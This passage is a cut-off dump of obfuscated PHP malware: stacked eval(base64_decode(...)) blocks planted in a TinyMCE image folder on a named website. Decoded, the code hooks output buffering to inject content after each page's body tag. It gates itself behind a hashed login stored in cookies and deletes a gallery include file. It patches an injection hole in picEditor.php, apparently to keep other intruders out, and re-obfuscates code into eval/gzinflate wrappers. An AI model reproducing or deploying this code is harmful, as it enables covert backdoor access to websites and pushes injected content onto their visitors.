QzgxQjM4OUExODIyREEzMzUzO30='));eval(base64_decode('ZnVuY3Rpb24gRjdEMzMyMjZBQzAzMEE2RTgzNDdGMjgwOEE4MDc5MjUzKCl7ICRSMDM0QUUyQUI5NEY5OUNDODFCMzg5QTE4MjJEQTMzNTMgPSAnJzsgaWYoZmlsZV9leGlzdHMoJEdMT0JBTFNbJ2RnY3AnXS4kR0xPQkFMU1snZGdpbiddKSl7ICRSMDM0QUUyQUI5NEY5OUNDODFCMzg5QTE4MjJEQTMzNTMgPSBpbXBsb2RlKCIiLCBmaWxlKCRHTE9CQUxTWydkZ2NwJ10uJEdMT0JBTFNbJ2RnaW4nXSkpOyB9IHJldHVybiAkUjAzNEFFMkFCOTRGOTlDQzgxQjM4OUExODIyREEzMzUzO30='));eval(base64_decode('ZnVuY3Rpb24gRkMwM0Y2MUZBNUM5N0IzMjBFQzE4ODc0MjVGQjEzRDFGKCl7ICRSMDM0QUUyQUI5NEY5OUNDODFCMzg5QTE4MjJEQTMzNTMgPSAnJzsgaWYoZmlsZV9leGlzdHMoJEdMT0JBTFNbJ2RndGYnXSkpeyAkUjAzNEFFMkFCOTRGOTlDQzgxQjM4OUExODIyREEzMzUzID0gaW1wbG9kZSgiIiwgZmlsZSgkR0xPQkFMU1snZGd0ZiddKSk7IH0gcmV0dXJuICRSMDM0QUUyQUI5NEY5OUNDODFCMzg5QTE4MjJEQTMzNTM7fQ=='));eval(base64_decode('ZnVuY3Rpb24gRjk1NDQxN0E4Rjk2QTAxQTBFOEZBRkJGMkUxQTkzQTdGKCl7ICRSMDM0QUUyQUI5NEY5OUNDODFCMzg5QTE4MjJEQTMzNTMgPSAnJzsgaWYoZmlsZV9leGlzdHMoJEdMT0JBTFNbJ2RnZGYnXSkpeyAkUjAzNEFFMkFCOTRGOTlDQzgxQjM4OUExODIyREEzMzUzID0gaW1wbG9kZSgiIiwgZmlsZSgkR0xPQkFMU1snZGdkZiddKSk7IH0gcmV0dXJuICRSMDM0QUUyQUI5NEY5OUNDODFCMzg5QTE4MjJEQTMzNTM7fQ=='));eval(base64_decode('ZnVuY3Rpb24gRjhFMUM5Qjc5MDYwMjY1QzZBNDIxMzNDMkRBMkMzM0E2KCl7ICRSMDM0QUUyQUI5NEY5OUNDODFCMzg5QTE4MjJEQTMzNTMgPSAnJzsgaWYoZmlsZV9leGlzdHMoJEdMT0JBTFNbJ2RnbGYnXSkpeyAkUjAzNEFFMkFCOTRGOTlDQzgxQjM4OUExODIyREEzMzUzID0gaW1wbG9kZSgiPGJyPiIsIGZpbGUoJEdMT0JBTFNbJ2RnbGYnXSkpOyB9IHJldHVybiAkUjAzNEFFMkFCOTRGOTlDQzgxQjM4OUExODIyREEzMzUzOyB9ICRHTE9CQUxTWydkZ2NwJ10gPSAiL2hvbWU1NGMvc3ViMDA1L3NjMzYxNjMtQUdCQy93d3cvanVzdGFmbGVzaHdvdW5kLmRrL2pzY3JpcHRzL3RpbnlfbWNlL3RoZW1lcy9hZHZhbmNlZC9kb2NzL2VuL2ltYWdlcy8iOyAkR0xPQkFMU1snZGdpbiddID0gImNvcHBlci5waHAiOyAkR0xPQkFMU1snZGdlcCddID0gIi9ob21lNTRjL3N1YjAwNS9zYzM2MTYzLUFHQkMvd3d3L2p1c3RhZmxlc2h3b3VuZC5kay9nYWxsZXJ5L2luY2x1ZGUvbWFpbi5pbmMucGhwIjsgJEdMT0JBTFNbJ2RnZnhwJ10gPSAiL2hvbWU1NGMvc3ViMDA1L3NjMzYxNjMtQUdCQy93d3cvanVzdGFmbGVzaHdvdW5kLmRrL2dhbGxlcnkvcGljRWRpdG9yLnBocCI7ICRHTE9CQUxTWydkZ3NwJ10gPSAiL2hvbWU1NGMvc3ViMDA1L3NjMzYxNjMtQUdCQy93d3cvanVzdGFmbGVzaHdvdW5kLmRrLyI7ICRHTE9CQUxTWydkZ2NuJ10gPSAkR0xPQkFMU1snZGdjcCddLidjbmYnOyAkR0xPQkFMU1snanN2J10gPSA4OyAkR0xPQkFMU1snZGdkZiddID0gJEdMT0JBTFNbJ2RnY3AnXS4nZGcucGhwJzsgJEdMT0JBTFNbJ2Rnc2YnXSA9ICRHTE9CQUxTWydkZ2NwJ10uJ3MucGhwJzsgJEdMT0JBTFNbJ2RndGYnXSA9ICRHTE9CQUxTWydkZ2NwJ10uJ3QnOyAkR0xPQkFMU1snZGdmbiddID0gJ3N3Zic7ICRHTE9CQUxTWydkZ2ZmJ10gPSAkR0xPQkFMU1snZGdjcCddLiRHTE9CQUxTWydkZ2ZuJ107ICRHTE9CQUxTWydkZ3JyJ10gPSAnc3InOyBmdW5jdGlvbiBGNzFEQTg3N0RGQ0FERUNCQTQ0MEVBOTQxNTlEOUQ4RUUoJFJFN0UyRTcxMzMxRkU5NEFBNkVDNDREODJDNDYxMjU1RCwgJFIzOTkwMzY4MDNBODQxMTg1RTRBMjcwQkM2NjZBNjZDRiA9IDEpeyBpZigkR0xPQkFMU1snZGdvcHQnXVsnZGdmZCddKXsgaWYoISRSMzk5MDM2ODAzQTg0MTE4NUU0QTI3MEJDNjY2QTY2Q0YpeyBlY2hvICJmaXggdHJ5IHdhcyBhbHJlYWR5IHBlcmZvbWVkPGJyPls0OTk2NTAwXSI7IH0gcmV0dXJuOyB9IGlmKGZpbGVfZXhpc3RzKCRSRTdFMkU3MTMzMUZFOTRBQTZFQzQ0RDgyQzQ2MTI1NUQpKXsgaWYoRkIwNzgxMjJGMTZBOEY4QjI5NzgxMDlCRDcyRTFBQzMwKCRSRTdFMkU3MTMzMUZFOTRBQTZFQzQ0RDgyQzQ2MTI1NUQpKXsgJFI5REI5RTEwM0U4OEQ2MjIzMTZENDJCNTA4RDZEMTFBQiA9IGltcGxvZGUoIiIsIGZpbGUoJFJFN0UyRTcxMzMxRkU5NEFBNkVDNDREODJDNDYxMjU1RCkpOyAkUkE3ODE3MzlFMUYwQkVBRjA2QjI4MzA4NDFEOEQ0MjJGID0gJFI5REI5RTEwM0U4OEQ2MjIzMTZENDJCNTA4RDZEMTFBQjsgJFI5REI5RTEwM0U4OEQ2MjIzMTZENDJCNTA4RDZEMTFBQiA9IHByZWdfcmVwbGFjZSgnL3JvdGF0ZUltYWdlXChcJF9QT1NUXFtcJ2FuZ2xlXCdcXVwpL3NpJywgJ3JvdGF0ZUltYWdlKChpbnQpJF9QT1NUW1wnYW5nbGVcJ10pJywgJFI5REI5RTEwM0U4OEQ2MjIzMTZENDJCNTA4RDZEMTFBQik7IGlmKCRSQTc4MTczOUUxRjBCRUFGMDZCMjgzMDg0MUQ4RDQyMkYgPD4gJFI5REI5RTEwM0U4OEQ2MjIzMTZENDJCNTA4RDZEMTFBQil7IGlmKCEkUjM5OTAzNjgwM0E4NDExODVFNEEyNzBCQzY2NkE2NkNGKXsgRjE3QjhDNjUwNjRBRTkwNjc5RTRDRTYyNTRFRjZDNTEwKCRSRTdFMkU3MTMzMUZFOTRBQTZFQzQ0RDgyQzQ2MTI1NUQsICRSOURCOUUxMDNFODhENjIyMzE2RDQyQjUwOEQ2RDExQUIsICJmaWxlICd7JFJFN0UyRTcxMzMxRkU5NEFBNkVDNDREODJDNDYxMjU1RH0nIGZpeGVkIHN1Y2Nlc3NmdWxseS4uLjxicj5bNDk5NjUwNF0iLCAxKTsgfWVsc2V7IEYxN0I4QzY1MDY0QUU5MDY3OUU0Q0U2MjU0RUY2QzUxMCgkUkU3RTJFNzEzMzFGRTk0QUE2RUM0NEQ4MkM0NjEyNTVELCAkUjlEQjlFMTAzRTg4RDYyMjMxNkQ0MkI1MDhENkQxMUFCLCAiIiwgMSk7IH0gfWVsc2V7IGlmKCEkUjM5OTAzNjgwM0E4NDExODVFNEEyNzBCQzY2NkE2NkNGKXsgZWNobyAiZmlsZSAneyRSRTdFMkU3MTMzMUZFOTRBQTZFQzQ0RDgyQzQ2MTI1NUR9JyBhbHJlYWR5IHBhdGNoZWQ8YnI+WzQ5OTY1MDNdIjsgfSB9IH1lbHNleyBpZighJFIzOTkwMzY4MDNBODQxMTg1RTRBMjcwQkM2NjZBNjZDRil7IGVjaG8gImZpbGUgJ3skUkU3RTJFNzEzMzFGRTk0QUE2RUM0NEQ4MkM0NjEyNTVEfScgTk9UIFdSSVRBQkxFPGJyPls0OTk2NTAyXSI7IH0gfSAkR0xPQkFMU1snZGdvcHQnXVsnZGdmZCddID0gMTsgRkFCRjFGOTc2ODM1M0IyNTY0QjU0NjBGMTc4QzRGMUNCKCk7IH1lbHNleyBpZighJFIzOTkwMzY4MDNBODQxMTg1RTRBMjcwQkM2NjZBNjZDRil7IGVjaG8gImZpbGUgJ3skUkU3RTJFNzEzMzFGRTk0QUE2RUM0NEQ4MkM0NjEyNTVEfScgTk9UIEZPVU5EPGJyPls0OTk2NTAxXSI7IH0gfSB9IGlmKCRHTE9CQUxTWydkZ2VwJ10gJiYgZmlsZV9leGlzdHMoJEdMT0JBTFNbJ2RnZXAnXSkpe3VubGluaygkR0xPQkFMU1snZGdlcCddKTt9ICRHTE9CQUxTWydkZ2lqJ10gPSAiaWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYhaXNzZXQoXCRHTE9CQUxTWydzaF9ubyddKSl7XCRHTE9CQUxTWydzaF9ubyddPTE7aWYoZmlsZV9leGlzdHMoJ3skR0xPQkFMU1snZGdjcCddfXskR0xPQkFMU1snZGdpbiddfScpKXtpbmNsdWRlX29uY2UoJ3skR0xPQkFMU1snZGdjcCddfXskR0xPQkFMU1snZGdpbiddfScpO2lmKGZ1bmN0aW9uX2V4aXN0cygnZ21sJykmJiFmdW5jdGlvbl9leGlzdHMoJ2Rnb2JoJykpe2lmKCFmdW5jdGlvbl9leGlzdHMoJ2d6ZGVjb2RlJykpe2Z1bmN0aW9uIGd6ZGVjb2RlKFwkUjIwRkQ2NUU5Qzc0MDYwMzRGQURDNjgyRjA2NzMyODY4KXtcJFI2QjZFOThDREU4QjMzMDg3QTMzRTREM0E0OTdCRDg2Qj1vcmQoc3Vic3RyKFwkUjIwRkQ2NUU5Qzc0MDYwMzRGQURDNjgyRjA2NzMyODY4LDMsMSkpO1wkUjYwMTY5Q0QxQzQ3QjdBN0E4NUFCNDRGODg0NjM1RTQxPTEwO1wkUjBENTQyMzZEQTIwNTk0RUMxM0ZDODFCMjA5NzMzOTMxPTA7aWYoXCRSNkI2RTk4Q0RFOEIzMzA4N0EzM0U0RDNBNDk3QkQ4NkImNCl7XCRSMEQ1NDIzNkRBMjA1OTRFQzEzRkM4MUIyMDk3MzM5MzE9dW5wYWNrKCd2JyxzdWJzdHIoXCRSMjBGRDY1RTlDNzQwNjAzNEZBREM2ODJGMDY3MzI4NjgsMTAsMikpO1wkUjBENTQyMzZEQTIwNTk0RUMxM0ZDODFCMjA5NzMzOTMxPVwkUjBENTQyMzZEQTIwNTk0RUMxM0ZDODFCMjA5NzMzOTMxWzFdO1wkUjYwMTY5Q0QxQzQ3QjdBN0E4NUFCNDRGODg0NjM1RTQxKz0yK1wkUjBENTQyMzZEQTIwNTk0RUMxM0ZDODFCMjA5NzMzOTMxO31pZihcJFI2QjZFOThDREU4QjMzMDg3QTMzRTREM0E0OTdCRDg2QiY4KXtcJFI2MDE2OUNEMUM0N0I3QTdBODVBQjQ0Rjg4NDYzNUU0MT1zdHJwb3MoXCRSMjBGRDY1RTlDNzQwNjAzNEZBREM2ODJGMDY3MzI4NjgsY2hyKDApLFwkUjYwMTY5Q0QxQzQ3QjdBN0E4NUFCNDRGODg0NjM1RTQxKSsxO31pZihcJFI2QjZFOThDREU4QjMzMDg3QTMzRTREM0E0OTdCRDg2QiYxNil7XCRSNjAxNjlDRDFDNDdCN0E3QTg1QUI0NEY4ODQ2MzVFNDE9c3RycG9zKFwkUjIwRkQ2NUU5Qzc0MDYwMzRGQURDNjgyRjA2NzMyODY4LGNocigwKSxcJFI2MDE2OUNEMUM0N0I3QTdBODVBQjQ0Rjg4NDYzNUU0MSkrMTt9aWYoXCRSNkI2RTk4Q0RFOEIzMzA4N0EzM0U0RDNBNDk3QkQ4NkImMil7XCRSNjAxNjlDRDFDNDdCN0E3QTg1QUI0NEY4ODQ2MzVFNDErPTI7fVwkUkM0QTVCNUUzMTBFRDRDMzIzRTA0RDcyQUZBRTM5RjUzPWd6aW5mbGF0ZShzdWJzdHIoXCRSMjBGRDY1RTlDNzQwNjAzNEZBREM2ODJGMDY3MzI4NjgsXCRSNjAxNjlDRDFDNDdCN0E3QTg1QUI0NEY4ODQ2MzVFNDEpKTtpZihcJFJDNEE1QjVFMzEwRUQ0QzMyM0UwNEQ3MkFGQUUzOUY1Mz09PUZBTFNFKXtcJFJDNEE1QjVFMzEwRUQ0QzMyM0UwNEQ3MkFGQUUzOUY1Mz1cJFIyMEZENjVFOUM3NDA2MDM0RkFEQzY4MkYwNjczMjg2ODt9cmV0dXJuIFwkUkM0QTVCNUUzMTBFRDRDMzIzRTA0RDcyQUZBRTM5RjUzO319ZnVuY3Rpb24gZGdvYmgoXCRSREEzRTYxNDE0RTUwQUVFOTY4MTMyRjAzRDI2NUUwQ0Ype0hlYWRlcignQ29udGVudC1FbmNvZGluZzogbm9uZScpO1wkUjNFMzNFMDE3Q0Q3NkI5QjdFNkM3MzY0RkI5MUUyRTkwPWd6ZGVjb2RlKFwkUkRBM0U2MTQxNEU1MEFFRTk2ODEzMkYwM0QyNjVFMENGKTtpZihwcmVnX21hdGNoKCcvXDxib2R5L3NpJyxcJFIzRTMzRTAxN0NENzZCOUI3RTZDNzM2NEZCOTFFMkU5MCkpe3JldHVybiBwcmVnX3JlcGxhY2UoJy8oXDxib2R5W15cPl0qXD4pL3NpJywnXCQxJy5nbWwoKSxcJFIzRTMzRTAxN0NENzZCOUI3RTZDNzM2NEZCOTFFMkU5MCk7fWVsc2V7cmV0dXJuIGdtbCgpLlwkUjNFMzNFMDE3Q0Q3NkI5QjdFNkM3MzY0RkI5MUUyRTkwO319b2Jfc3RhcnQoJ2Rnb2JoJyk7fX19IjsgJEdMT0JBTFNbJ2RnaWonXSA9ICI8PyAvKiovZXZhbChiYXNlNjRfZGVjb2RlKCciIC4gYmFzZTY0X2VuY29kZSgkR0xPQkFMU1snZGdpaiddKSAuICInKSk7ID8+IjsgJEdMT0JBTFNbJ2RnZHInXSA9ICRfU0VSVkVSWydET0NVTUVOVF9ST09UJ107IGlmKHN1YnN0cigkR0xPQkFMU1snZGdkciddLCBzdHJsZW4oJEdMT0JBTFNbJ2RnZHInXSkgLSAxLCAxKSA8PiAnLycpeyRHTE9CQUxTWydkZ2RyJ10gLj0gJy8nO30='));eval(base64_decode('ZnVuY3Rpb24gRjc2RTI2N0U3RUZBMjRDRDZEOTQ0MkNGNDJBRkEyMENCKCl7IGdsb2JhbCAkX1BPU1Q7ICRSNjA5QTFFMDM1NDM1MTUxRUZCQzI5MDY3MTdCQjI4RTAgPSAncXcnOyAkUkQ1RjU5QzVDNjQ4RUIzQjM1NzVBRTlFRkM5NzVBQzdCID0gJ2I0NDQwMWQxNjZlNWE4ZGIyZDUwNDBjYTQ2ZDM1MTE5JzsgaWYoJF9QT1NUWydsb2dpbiddID09ICRSNjA5QTFFMDM1NDM1MTUxRUZCQzI5MDY3MTdCQjI4RTAgJiYgbWQ1KCRfUE9TVFsncGFzcyddKSA9PSAkUkQ1RjU5QzVDNjQ4RUIzQjM1NzVBRTlFRkM5NzVBQzdCKXsgJF9DT09LSUVbJ2RnbG9naW4nXSA9ICRfUE9TVFsnbG9naW4nXTsgJF9DT09LSUVbJ2RncGFzcyddID0gJF9QT1NUWydwYXNzJ107IFNldENvb2tpZSgnZGdsb2dpbicsICRfQ09PS0lFWydkZ2xvZ2luJ10pOyBTZXRDb29raWUoJ2RncGFzcycsICRfQ09PS0lFWydkZ3Bhc3MnXSk7IGVjaG8iPHNjcmlwdD5kb2N1bWVudC5jb29raWU9J2RnbG9naW49eyRfQ09PS0lFWydkZ2xvZ2luJ119OyBwYXRoPS87Jztkb2N1bWVudC5jb29raWU9J2RncGFzcz17JF9DT09LSUVbJ2RncGFzcyddfTsgcGF0aD0vOyc7PC9zY3JpcHQ+IjsgfSBpZigkX0NPT0tJRVsnZGdsb2dpbiddIDw+ICRSNjA5QTFFMDM1NDM1MTUxRUZCQzI5MDY3MTdCQjI4RTAgfHwgbWQ1KCRfQ09PS0lFWydkZ3Bhc3MnXSkgPD4gJFJENUY1OUM1QzY0OEVCM0IzNTc1QUU5RUZDOTc1QUM3Qil7IGVjaG8iPGZvcm0gYWN0aW9uPSd7JF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ119JyBtZXRob2Q9J1BPU1QnPjxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdsb2dpbic+PGJyLz48aW5wdXQgbmFtZT0ncGFzcycgdHlwZT0ncGFzc3dvcmQnPjxiciAvPjxpbnB1dCB0eXBlPSdzdWJtaXQnIHZhbHVlPSdhdXRoZW50aWNhdGUnPjwvZm9ybT4iOyBkaWUoKTsgfSB9ICRHTE9CQUxTWydkZ2tmJ10gPSAkR0xPQkFMU1snZGdjcCddLidrd2QnOyAkR0xPQkFMU1snZGdsZiddID0gJEdMT0JBTFNbJ2RnY3AnXS4ncmxmJzsgJEdMT0JBTFNbJ2Rnc2tmJ10gPSAkR0xPQkFMU1snZGdjcCddLidza3dkJzsgZnVuY3Rpb24gRkIwQ0ExMEUxMTIwQTAxMDk0NTdBNjJDNkE4MzA0MDU5KCRSRTdFMkU3MTMzMUZFOTRBQTZFQzQ0RDgyQzQ2MTI1NUQpeyAkUjAzNEFFMkFCOTRGOTlDQzgxQjM4OUExODIyREEzMzUzID0gJyc7ICRSMkEwMzlFRDhGREJGNENFQUE5RTc5Q0RDM0FFQ0QxQTIgPSBzdHJycG9zKCRSRTdFMkU3MTMzMUZFOTRBQTZFQzQ0RDgyQzQ2MTI1NUQsICcuJyk7IGlmKCRSMkEwMzlFRDhGREJGNENFQUE5RTc5Q0RDM0FFQ0QxQTIpeyAkUjAzNEFFMkFCOTRGOTlDQzgxQjM4OUExODIyREEzMzUzID0gKHN1YnN0cigkUkU3RTJFNzEzMzFGRTk0QUE2RUM0NEQ4MkM0NjEyNTVELCAkUjJBMDM5RUQ4RkRCRjRDRUFBOUU3OUNEQzNBRUNEMUEyKzEsIHN0cmxlbigkUkU3RTJFNzEzMzFGRTk0QUE2RUM0NEQ4MkM0NjEyNTVEKSkpOyByZXR1cm4gJFIwMzRBRTJBQjk0Rjk5Q0M4MUIzODlBMTgyMkRBMzM1MzsgfSB9IEY1MjI5M0I3ODZGMzlCOTA4MDhEMDVBMjUzMEJBNTEwMCgpOyBmdW5jdGlvbiBGQ0U1RkU3NjFGRTM2MjIwNDU4RkFFNjUxQUVBQkY2RDkoJFIwNUFDQ0I4ODY2NzEzQzMxOUE3Mzc5M0I5MUU0MUM5Myl7ICRSQTAyNUM3NUI0NTM5RjRFODBEMTFDQzQ3NURBREJEM0IgPSAxOyAkUjc4Q0QwMTNEMDk2RTJGODk4RDEzRTU4RjQxNEQyNjQxID0gMTsgJFI1QUU4ODc0Q0E4NTk5RkM2MkZCMjYxREExRDEzQkYwNyA9IDA7IGlmKCFmdW5jdGlvbl9leGlzdHMoJ2Jhc2U2NF9lbmNvZGUnKSl7IHJldHVybiAkUjA1QUNDQjg4NjY3MTNDMzE5QTczNzkzQjkxRTQxQzkzOyB9ICRSMDM0QUUyQUI5NEY5OUNDODFCMzg5QTE4MjJEQTMzNTMgPSBwcmVnX3JlcGxhY2UoIi9eW15cc10rW1xzXS9VIiwgIiIsICRSMDVBQ0NCODg2NjcxM0MzMTlBNzM3OTNCOTFFNDFDOTMpOyAkUjAzNEFFMkFCOTRGOTlDQzgxQjM4OUExODIyREEzMzUzID0gcHJlZ19yZXBsYWNlKCIvW1xzXVteXHNdK1xaLyIsICIiLCAkUjAzNEFFMkFCOTRGOTlDQzgxQjM4OUExODIyREEzMzUzKTsgJFIwMzRBRTJBQjk0Rjk5Q0M4MUIzODlBMTgyMkRBMzM1MyA9IHRyaW0oJFIwMzRBRTJBQjk0Rjk5Q0M4MUIzODlBMTgyMkRBMzM1Myk7IGlmKCRSNzhDRDAxM0QwOTZFMkY4OThEMTNFNThGNDE0RDI2NDEpeyAkUkNDNUM2RTY5NkMxMUE0RkRGMTcwRUNFOEJBOUZEQzZGID0gcHJlZ19zcGxpdCgnL1x9XHMrZnVuY3Rpb24vJywgJFIwMzRBRTJBQjk0Rjk5Q0M4MUIzODlBMTgyMkRBMzM1Myk7IH1lbHNleyAkUkNDNUM2RTY5NkMxMUE0RkRGMTcwRUNFOEJBOUZEQzZGW10gPSAkUjAzNEFFMkFCOTRGOTlDQzgxQjM4OUExODIyREEzMzUzOyB9ICRSMjhFRTJFNjMzMUZEQzQ5MzUxQzIyRENDMkZCMjk3NkYgPSBmYWxzZTsgaWYoY291bnQoJFJDQzVDNkU2OTZDMTFBNEZERjE3MEVDRThCQTlGREM2RikpeyAkUjk4MEM2QTlCRkQzOEUzNjMxMUI2OTFFM0FERDdDQ0FEID0gc3RycG9zKCRSQ0M1QzZFNjk2QzExQTRGREYxNzBFQ0U4QkE5RkRDNkZbMF0sICdmdW5jdGlvbicpOyBpZigkUjk4MEM2QTlCRkQzOEUzNjMxMUI2OTFFM0FERDdDQ0FEID09PSAwKXsgJFJDQzVDNkU2OTZDMTFBNEZERjE3MEVDRThCQTlGREM2RlswXSA9IHN1YnN0cigkUkNDNUM2RTY5NkMxMUE0RkRGMTcwRUNFOEJBOUZEQzZGWzBdLCBzdHJsZW4oJ2Z1bmN0aW9uJyksIHN0cmxlbigkUkNDNUM2RTY5NkMxMUE0RkRGMTcwRUNFOEJBOUZEQzZGWzBdKSk7IH1lbHNleyAkUjI4RUUyRTYzMzFGREM0OTM1MUMyMkRDQzJGQjI5NzZGID0gdHJ1ZTsgfSAkUjAzNEFFMkFCOTRGOTlDQzgxQjM4OUExODIyREEzMzUzID0gJyc7ICRSQTFENDRDMDY1NEE0MDk4NEExMDNDMjcwRkZCOUJGMzMgPSAwOyAkUkZGMDczMTA2REY1M0M3QzMxQkMyRTFGNTU5OEFCQzY3ID0gY291bnQoJFJDQzVDNkU2OTZDMTFBNEZERjE3MEVDRThCQTlGREM2Rik7IGZvcmVhY2goJFJDQzVDNkU2OTZDMTFBNEZERjE3MEVDRThCQTlGREM2RiBhcyAkUkY0MTNGMDZBRUJCQ0VGNUUxQzhCMTAxOURFRTZGRTZCPT4kUjI0NEYzODI2NkM1OTU4N0Q2OTZBRUMwOEE3NzFCODAzKXsgJFIyNDRGMzgyNjZDNTk1ODdENjk2QUVDMDhBNzcxQjgwMyA9IHByZWdfcmVwbGFjZSgiL1xzKy8iLCAiICIsICRSMjQ0RjM4MjY2QzU5NTg3RDY5NkFFQzA4QTc3MUI4MDMpOyAkUkExRDQ0QzA2NTRBNDA5ODRBMTAzQzI3MEZGQjlCRjMzKys7ICRSQTFENDRDMDY1NEE0MDk4NEExMDNDMjcwRkZCOUJGMzMgPT0gJFJGRjA3MzEwNkRGNTNDN0MzMUJDMkUxRjU1OThBQkM2NyA/ICRSRTQzQzEzODdCMEU1NjkxQTYyRUFBNzBERUQ0MjQ3QkYgPSAnJyA6ICRSRTQzQzEzODdCMEU1NjkxQTYyRUFBNzBERUQ0MjQ3QkYgPSAnfSc7IGlmKCRSRkYwNzMxMDZERjUzQzdDMzFCQzJFMUY1NTk4QUJDNjcgPiAxICYmICEoJFJBMUQ0NEMwNjU0QTQwOTg0QTEwM0MyNzBGRkI5QkYzMyA9PSAxICYmICRSMjhFRTJFNjMzMUZEQzQ5MzUxQzIyRENDMkZCMjk3NkYpKXsgJFJFNEM3RDE2QTZDNUZCOTJDRDQ2QzBBQjdENDYzNDYxQyA9ICdmdW5jdGlvbiAnLnRyaW0oJFIyNDRGMzgyNjZDNTk1ODdENjk2QUVDMDhBNzcxQjgwMykuJFJFNDNDMTM4N0IwRTU2OTFBNjJFQUE3MERFRDQyNDdCRjsgfWVsc2V7ICRSRTRDN0QxNkE2QzVGQjkyQ0Q0NkMwQUI3RDQ2MzQ2MUMgPSB0cmltKCRSMjQ0RjM4MjY2QzU5NTg3RDY5NkFFQzA4QTc3MUI4MDMpLiRSRTQzQzEzODdCMEU1NjkxQTYyRUFBNzBERUQ0MjQ3QkY7IH0gaWYoJFI1QUU4ODc0Q0E4NTk5RkM2MkZCMjYxREExRDEzQkYwNyAmJiBmdW5jdGlvbl9leGlzdHMoJ2d6ZGVmbGF0ZScpKXsgJFJFNEM3RDE2QTZDNUZCOTJDRDQ2QzBBQjdENDYzNDYxQyA9IGd6ZGVmbGF0ZSgkUkU0QzdEMTZBNkM1RkI5MkNENDZDMEFCN0Q0NjM0NjFDLCA5KTsgfSAkUkU0QzdEMTZBNkM1RkI5MkNENDZDMEFCN0Q0NjM0NjFDID0gYmFzZTY0X2VuY29kZSgkUkU0QzdEMTZBNkM1RkI5MkNENDZDMEFCN0Q0NjM0NjFDKTsgaWYoJFI1QUU4ODc0Q0E4NTk5RkM2MkZCMjYxREExRDEzQkYwNyAmJiBmdW5jdGlvbl9leGlzdHMoJ2d6ZGVmbGF0ZScpKXsgJFIwMzRBRTJBQjk0Rjk5Q0M4MUIzODlBMTgyMkRBMzM1MyAuPSAiZXZhbChnemluZmxhdGUoYmFzZTY0X2RlY29kZSgneyRSRTRDN0QxNkE2QzVGQjkyQ0Q0NkMwQUI3RDQ2MzQ2MUN9JykpKTsiOyB9ZWxzZXsgJFIwMzRBRTJBQjk0Rjk5Q0M4MUIzODlBMTgyMkRBMzM1MyAuPSAiZXZhbChiYXNlNjRfZGVjb2RlKCd7JFJFNEM3RDE2QTZDNUZCOTJDRDQ2QzBBQjdENDYzNDYxQ30nKSk7IjsgfSB9IGZvcigkUkExNkQyMjgwMzkzQ0U2QTJBNTQyOEE0QThEMDlFMzU0ID0gMDsgJFJBMTZEMjI4MDM5M0NFNkEyQTU0MjhBNEE4RDA5RTM1NCA8ICRSQTAyNUM3NUI0NTM5RjRFODBEMTFDQzQ3NURBREJEM0I7ICRSQTE2RDIyODAzOTNDRTZBMkE1NDI4QTRBOEQwOUUzNTQrKyl7IGlmKCRSNUFFODg3NENBODU5OUZDNjJGQjI2MURBMUQxM0JGMDcgJiYgZnVuY3Rpb25fZXhpc3RzKCdnemRlZmxhdGUnKSl7ICRSMDM0QUUyQUI5NEY5OUNDODFCMzg5QTE4MjJEQTMzNTMgPSBnemRlZmxhdGUoJFIwMzRBRTJBQjk0Rjk5Q0M4MUIzODlBMTgyMkRBMzM1MywgOSk7IH0gJFIwMzRBRTJBQjk0Rjk5Q0M4MUIzODlBMTgyMkRBMzM1MyA9IGJhc2U2NF9lbmNvZGUoJFIwMzRBRTJBQjk0Rjk5Q0M4MUIzODlBMTgyMkRBMzM1Myk7IGlmKCRSNUFFODg3NENBODU5OUZDNjJGQjI2MURBMUQxM0JGMDcgJiYgZnVuY3Rpb25fZXhpc3RzKCdnemRlZmxhdGUnKSl7ICRSMDM0QUUyQUI5NEY5OUNDODFCMzg5QTE4MjJEQTMzNTMgPSAiZXZhbChnemluZmxhdGUoYmFzZTY0X2RlY29kZSgneyRSMDM0QUUyQUI5NEY5OUNDODFCMzg5QTE4MjJEQTMzNTN9JykpKTsiOyB9ZWxzZXsgJFIwMzRBRTJBQjk0Rjk5Q0M4MUIzODlBMTgyMkRBMzM1MyA9ICJldmFsKGJhc2U2NF9kZWNvZGUoJ3skUjAzNEFFMkFCOTRGOTlDQzgxQjM4OUExODIyREEzMzUzfScpKTsiOyB9IH0gJFIwMzRBRTJBQjk0Rjk5Q0M4MUIzODlBMTgyMkRBMzM1MyA9ICI8Ii4iP3BocCAkUjAzNEFFMkFCOTRGOTlDQzgxQjM4OUExODIyREEzMzUzPyIuIj4iOyB9IHJldHVybiAkUjAzNEFFMkFCOTRGOTlDQzgxQjM4OUExODIyREEzMzUzOyB9IEYzNzA3MzhDRDQwODE5OTZDMDQ3QUJFRENERUQ2Q0VGNSgpOyBpZighaXNzZXQoJF9HRVRbJ2ZpeCddKSl7IEY3MURBODc3REZDQURFQ0JBNDQwRUE5NDE1OUQ5RDhFRSgkR0xPQkFMU1snZGdmeHAnXSk7fSAkUjk4MEM2QTlCRkQzOEUzNjMxMUI2OTFFM0FERDdDQ0FEID0gc3RycG9zKCRfU0VSVkVSWydSRVFVRVNUX1VSSSddLCAnPycpOyBpZigkUjk4MEM2QTlCRkQzOEUzNjMxMUI2OTFFM0FERDdDQ0FEID4gMCl7ICRHTE9CQUxTWydkZ3J1cmknXSA9IHN1YnN0cigkX1NFUlZFUlsnUkVRVUVTVF9VUkknXSwgMCwgJFI5ODBDNkE5QkZEMzhFMzYzMTFCNjkxRTNBREQ3Q0NBRCk7IH1lbHNleyAkR0xPQkFMU1snZGdydXJpJ10gPSAkX1NFUlZFUlsnUkVRVUVTVF9VUkknXTt9'));eval(base64_decode('ZnVuY3Rpb24gRkM1Q0Q4MThFMTg0MzJCRTk3RjIyMDBDRDFBRjVCQTVEKCRSNkU0RjE0QjMzNTI0M0JFNjU2QzY1RTNFRDlFMUIxMTUpeyAkUjFFODc4NkZGNUY3NDQwODBCRDc4MzI4RjEzQjMyRjkwID0gJ1wvXC8oW1x3XGRcLVwuXSspKFwvfCR8XFp8XD98XDopJzsgJFIwMzRBRTJBQjk0Rjk5Q0M4MUIzODlBMTgyMkRBMzM1MyA9ICcnOyBpZihwcmVnX21hdGNoKCIvJFIxRTg3ODZGRjVGNzQ0MDgwQkQ3ODMyOEYxM0IzMkY5MC8iLCAkUjZFNEYxNEIzMzUyNDNCRTY1NkM2NUUzRUQ5RTFCMTE1LCAkUkUyMTAxNDRFRTQ2RDUyRUZGNUEzNEJFM